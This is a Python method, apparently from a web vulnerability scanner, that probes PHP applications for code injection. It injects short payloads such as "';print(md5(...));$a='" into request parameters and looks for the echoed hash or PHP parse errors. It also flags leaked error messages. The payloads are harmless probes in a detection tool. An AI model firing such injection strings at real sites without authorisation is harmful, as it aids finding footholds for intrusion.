def audit(self): if WEB_PLATFORM.PHP not in self.response.programing and conf.level < 2: return regx = 'Parse error: syntax error,.*?\sin\s' randint = random.randint(5120, 10240) verify_result = md5(str(randint).encode()) _payloads = [ "print(md5({}));", ";print(md5({}));", "';print(md5({}));$a='", "\";print(md5({}));$a=\"", "${{@print(md5({}))}}", "${{@print(md5({}))}}\\", "'.print(md5({})).'" ] # 载入处理位置以及原始payload iterdatas = self.generateItemdatas() errors = None errors_raw = () # 根据原始payload和位置组合新的payload for origin_dict, positon in iterdatas: payloads = self.paramsCombination(origin_dict, positon, _payloads) for key, value, new_value, payload in payloads: r = self.req(positon, payload) if not r: continue html1 = r.text if verify_result in html1: result = self.new_result() result.init_info(self.requests.url, self.desc, VulType.CMD_INNJECTION) result.add_detail( "payload探测", r.reqinfo, generateResponse(r), "探测payload:{}并发现回显:{}".format(new_value, verify_result), key, value, positon) self.success(result) break if re.search(regx, html1, re.I | re.S | re.M): result = self.new_result() result.init_info(self.requests.url, self.desc, VulType.CMD_INNJECTION) result.add_detail( "payload探测", r.reqinfo, generateResponse(r), "探测payload:{}并发现正则回显:{},可能是payload未闭合语句造成的错误".format( new_value, regx), key, value, positon) self.success(result) break if not errors: errors = sensitive_page_error_message_check(html1) if errors: errors_raw = (key, value) if errors: result = self.new_result() key, value = errors_raw result.init_info(self.requests.url, "敏感配置信息泄漏", VulType.SENSITIVE) for m in errors: text = m["text"] _type = m["type"] result.add_detail("payload请求", r.reqinfo, generateResponse(r), "匹配组件:{} 匹配正则:{}".format(_type, text), key, value, positon) self.success(result)